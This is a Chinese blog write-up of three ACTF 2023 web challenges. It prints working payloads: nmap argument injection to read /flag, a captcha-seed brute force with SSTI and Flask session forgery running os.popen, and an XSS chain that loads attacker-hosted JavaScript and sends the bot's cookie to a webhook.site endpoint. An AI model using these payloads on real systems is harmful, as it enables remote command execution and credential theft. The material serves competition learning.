ACTF2023 web部分
jerem1ah Lv4

ACTF2023 Web部分

[ACTF 2023] MyGO’s Live!!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
// Inspiration: SekaiCTF scanner service

const express = require('express');
const { spawn } = require('child_process');
const fs = require('fs');

const app = express();
const port = 3333;
app.use(express.static('public'));
app.get('/', (req, res) => {
fs.readFile(__dirname + '/public/index.html', 'utf8', (err, data) => {
if (err) {
console.error(err);
res.status(500).send('Internal Server Error');
} else {
// Send the HTML content
res.send(data);
}
})
}
);
function escaped(c) {
if (c == ' ')
return '\\ ';
if (c == '$')
return '\\$';
if (c == '`')
return '\\`';
if (c == '"')
return '\\"';
if (c == '\\')
return '\\\\';
if (c == '|')
return '\\|';
if (c == '&')
return '\\&';
if (c == ';')
return '\\;';
if (c == '<')
return '\\<';
if (c == '>')
return '\\>';
if (c == '(')
return '\\(';
if (c == ')')
return '\\)';
if (c == "'")
return '\\\'';
if (c == "\n")
return '\\n';
if (c == "*")
return '\\*';
else
return c;
}
app.get('/checker', (req, res) => {
let url = req.query.url;

if (url) {
if (url.length > 60) {
res.send("我喜欢你");
return;
}
url = [...url].map(escaped).join("");
console.log(url);

let host;
let port;
if (url.includes(":")) {
const parts = url.split(":");
host = parts[0];
port = parts.slice(1).join(":");
} else {
host = url;
}
let command = "";
// console.log(host);
// console.log(port);

if (port) {
if (isNaN(parseInt(port))) {
res.send("我喜欢你");
return;
}
command = ["nmap", "-p", port, host].join(" "); // Construct the shell command
} else {
command = ["nmap", "-p", "80", host].join(" ");
}

var fdout = fs.openSync('stdout.log', 'a');
var fderr = fs.openSync('stderr.log', 'a');
nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );

nmap.on('exit', function (code) {
console.log('child process exited with code ' + code.toString());
if (code !== 0) {
let data = fs.readFileSync('stderr.log');
console.error(`Error executing command: ${data}`);
res.send(`Error executing command!!! ${data}`);
} else {
let data = fs.readFileSync('stdout.log');
console.error(`Ok: ${data}`);
res.send(`${data}`);
}
});
} else {
res.send('No parameter provided.');
}
});

app.listen(port, () => {
console.log(`Server listening on port ${port}`);
});

process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
});

image-20231031143030937

1
checker?url=:1%0d-iL%09/flag-????????????????%09-oN%09/dev/stdout
1
checker?url=-iL%20/flag%20public/index.html%20127.0.0.1

[ACTF 2023] story

https://su-team.cn/passages/2023-10-28-ACTF/

https://mp.weixin.qq.com/s/JpCJqwSjQKquua9jwUzmxg

https://tttang.com/archive/1698/#toc_payload

说一下整体思路,首先去审计代码,发现seed是基于时间的,即使有个随机数直接爆破就行,这一步在get_seed实现,获得seed之后,去write路由写模板注入,发现有waf,waf的过滤规则有一个随机。我们这里选择读取config配置,进而伪造session,只有rule6可以config,直接爆就完了,这个实现在get_config_secretKey函数,就是为了获取secret_key,之后就是session伪造,没有什么过滤了就,直接ssti打就完了。

以下是exp,需要在同目录下添加captcha.py和minic.py 还需要把Captcha类初始化时的_key赋值时把随机去掉

1
2
3
4
5
6
7
8
9
10
11
def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4, 
fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
self._width = width
self._height = height
self._length = length
# self._key = (key or int(time.time())) + random.randint(1,100)
self._key = (key or int(time.time()))
self._fonts = fonts or DEFAULT_FONTS
self._font_sizes = font_sizes or (42, 50, 56)
self._truefonts: t.List[FreeTypeFont] = []
random.seed(self._key)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from captcha import Captcha, generate_code
from minic import *
import requests
import time
import html

url = 'http://39.105.51.11:28130'

def get_seed():
j = 0
while True:
j = j+1
print(j)
session = requests.session()
now_time = int(time.time())
count = 0
server_code = session.get(url+"/captcha")
last_time = int(time.time())
# print(str(now_time)+"-----now")
# print(str(last_time)+'-----last')
for i in range(0,102):
gen = Captcha(200,80,key=now_time+i)
buf, captcha_text = gen.generate()
tmp = buf.getvalue()
if tmp == server_code.content:
print(now_time+i)
print("success--------")
seed = now_time+i
return seed


def get_config_secretKey():
payload = {"story":"{{config}}"}
session = requests.session()
while True:
code = generate_code()
res = session.post(url+'/vip',json={"captcha":code})
# print(res.text)

minic_waf(str(payload))
res = session.post(url+'/write',json={"story":str(payload)}).text
print(res)
if 'no way' in res:
continue
else:
res = session.get(url+'/story').text
res = html.unescape(res)
print(res)
break


def get_encode():
import ast
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
key = 'secret123123'
# "{{[].__class__.__base__.__subclasses__()}}"
session = {
"story":"{{config.__init__.__globals__.__builtins__['__import__']('os').popen('ls;cat flag').read()}}"
}
cookie = FSCM.encode(key,str(session))
print(cookie)

res = requests.get(url+'/story',cookies={'session':cookie}).text
res = html.unescape(res)
print(res)

# seed = get_seed()
# gen = Captcha(200,80,key=seed)
# buf, captcha_text = gen.generate()
# get_config_secretKey()
get_encode()

[ACTF 2023] easy latex

http://39.105.51.11:28131/

http://39.105.51.11:28132/

http://39.105.51.11:28133/

https://su-team.cn/passages/2023-10-28-ACTF/

https://webhook.site/#!/7257d7bf-570b-4197-a502-3df2198633ea/57106e30-790a-479a-a90f-69e4b6ce89ca/1

http://webhook.site/7257d7bf-570b-4197-a502-3df2198633ea

https://adworld.xctf.org.cn/match/list?event_hash=706a7a8c-65a0-11ee-ab28-000c29bc20bf

https://github.com/longuan/docker-for-XSS-plaform

https://github.com/trysec/BlueLotus_XSSReceiver

image-20231115142129726

1
2
3
/share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%68%75%61%68%75%61%26%74%68%65%6d%65%3d%2f%2f%31%32%34%2e%32%32%30%2e%32%31%35%2e%38%3a%37%38%39%30%2f%68%75%61%68%75%61

/share/../preview?tex=huahua&theme=//124.220.215.8:7890/huahua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 拉去镜像文件
git clone https://github.com/solei1/docker-for-XSS-plaform

#进入到XSS目录,修改配置文件
#修改config.php文件 $config['urlroot'] ='http://ip:port'; 后面的网址改为自己域名或者ip
#修改setup.php文件倒数第二行,将 http://ip:port改为自己的域名或者ip(与上一步一致)
#修改setup.php文件最后一行, 设置管理员帐号, 默认是admin:admin123
#退回到Dockerfile所在目录, 执行
docker build -t xssplatform/solei1:1.0 .

#启动docker (自己选择映射的端口代替port,与前面一致)
docker run -d -p port:80 xssplatform/solei1:1.0

#首先访问http://ip:port/setup.php,进行数据库初始化
#之后就可以用你修改的管理员帐号登陆到xssplatform了

复现:

preview路由存在xss,theme可控,可加载js

image-20231117211920549

image-20231117212112398

image-20231117212133152

接着看share/:id路由

image-20231117212751429

跟进visit

image-20231117212830719

存在csrf漏洞,用share路由请求preview路由加载js文件,就能读取bot的cookie了,但是存在httponly读取不了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const loginUrl = '/login';
const vipUrl = '/vip';
const loginCode = 'huahua';
async function test(a){
try{
const fetchOptions = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: "error"+a,
};

const response = await fetch("https://webhook.site/7257d7bf-570b-4197-a502-3df2198633ea",fetchOptions);
console.log(response.text);
}catch{
console.log("error");
}
}



const loginData = new URLSearchParams({
username: '//webhook.site/7257d7bf-570b-4197-a502-3df2198633ea',
password: 'f149e0a6dd1ae68af99164bef0a7ce9f',
});

const fetchOptions = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: loginData,
};

async function loginAndFetchVip() {
try {
const loginResponse = await fetch(loginUrl, fetchOptions);
test("login win");
if (loginResponse.ok) {
const vipResponse = await fetch(vipUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({ code: loginCode }),
credentials: 'include',
});
// Handle vipResponse here as needed
test("win");
} else {
// Handle loginResponse errors here
test("Handle loginResponse errors here");
}
} catch (error) {
// Handle any fetch-related errors here
console.error(error);
test("Handle any fetch-related errors here");
}
}
loginAndFetchVip();
1
http://39.105.51.11:28131/share/..%2Fpreview%3Ftex%3Dhuahua%26theme%3D%2F%2F39.105.51.11%3A28136%2Fmyjs%2Fflag.js
1
<script src="http://39.105.51.11:28136/myjs/flag.js"></script>

上面这一步一直失败,最后去请教了su战队的做题的师傅,才明白是latex-js默认会加载js文件夹下的base.js,只需要python开启一个目录服务让它访问就行了,新建一个js文件夹,base.js文件,里面放恶意代码就全部ok了。

image-20231118005401000

payload

image-20231118010324643

1
2
../preview?tex=123&theme=//39.105.51.11/huahua
%2E%2E%2Fpreview%3Ftex%3D123%26theme%3D%2F%2F39%2E105%2E51%2E11%2Fhuahua
1
http://39.105.51.11:28131/share/..%2Fpreview%3Ftex%3D123%26theme%3D%2F%2F39.105.51.11%2Fhuahua

利用成功

image-20231118010226669

总结一下:这个题其实不算很难,一个内网的python服务复现完感觉像是唬人的,没什么用,就一个nodejs的vip路由最后读取cookie时会用得到,python的服务完全没用的到。然后就是xss的利用点和平常的利用可能不太一样,这个是利用latex-js标签默认会加载/js/base.js文件,那我就放个远程目录给他加载,改一下base.js为恶意代码就行。具体的恶意代码就是fetch请求的那些代码,最后带着cookie访问到了webhook.site,就得到flag了。思路不难,但是实现起来不简单,很多细节问题才是见证技术的地方,很容易理解不到位。这个复现收获很大。

 Comments